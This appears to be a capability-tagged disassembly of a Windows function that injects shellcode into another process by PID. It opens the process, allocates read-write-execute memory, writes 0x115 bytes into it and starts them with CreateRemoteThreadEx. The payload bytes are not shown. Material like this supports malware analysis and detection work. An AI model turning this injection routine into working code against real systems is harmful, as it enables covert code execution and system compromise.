Function at 0x140011285
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400118c0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x40]
lea rcx, [0x1400230a2]
call fcn.140011389
cmp dword [rbp + 0xe0], 2
jge 0x140011909
mov rdx, qword [0x14001d010]
lea rcx, str._s_usage:_program.exe__PID_
call fcn.14001119f
mov eax, 1
jmp 0x140011b53
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0xe8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_atoi]
mov dword [0x14001d330], eax
mov r8d, dword [0x14001d330]
mov rdx, qword [0x14001d008]
lea rcx, str._s_trying_to_open_a_handle_to_process___ld__n
call fcn.14001119f
mov r8d, dword [0x14001d330]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001d340], rax
cmp qword [0x14001d340], 0
jne 0x140011995
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
mov r8d, dword [0x14001d330]
mov rdx, qword [0x14001d010]
lea rcx, str._s_couldnt_get_a_handle_to_process___ld___error:__ld
call fcn.14001119f
mov eax, 1
jmp 0x140011b53
mov r8, qword [0x14001d340]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_process__n___0x_p
call fcn.14001119f
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x115
xor edx, edx
mov rcx, qword [0x14001d340]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x14001d338], rax
mov r8d, 0x115
mov rdx, qword [section..data]
lea rcx, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions
call fcn.14001119f
mov qword [rsp + 0x20], 0
mov r9d, 0x115
lea r8, [0x14001d020]
mov rdx, qword [0x14001d338]
mov rcx, qword [0x14001d340]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, 0x115
mov rdx, qword [section..data]
lea rcx, str._s_wrote___zu___bytes_to_process_memory_n
call fcn.14001119f
lea rax, [0x14001d334]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [0x14001d338]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14001d340]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [0x14001d348], rax
cmp qword [0x14001d348], 0
jne 0x140011ab8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [0x14001d010]
lea rcx, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
call fcn.14001119f
mov rcx, qword [0x14001d340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140011b53
mov r9, qword [0x14001d348]
mov r8d, dword [0x14001d334]
mov rdx, qword [section..data]
lea rcx, str._s_got_a_handle_to_the_thread__ld__n____0x_p_n
call fcn.14001119f
mov rdx, qword [0x14001d008]
lea rcx, str._s_waiting_for_thread_to_finish_n
call fcn.14001119f
mov edx, 0xffffffff
mov rcx, qword [0x14001d348]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdx, qword [section..data]
lea rcx, str._s_thread_finished_executing_n
call fcn.14001119f
mov rdx, qword [0x14001d008]
lea rcx, str._s_Cleaning_up_n
call fcn.14001119f
mov rcx, qword [0x14001d348]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14001d340]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [section..data]
lea rcx, str._s_finished__see_you_next_time_:__n
call fcn.14001119f
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret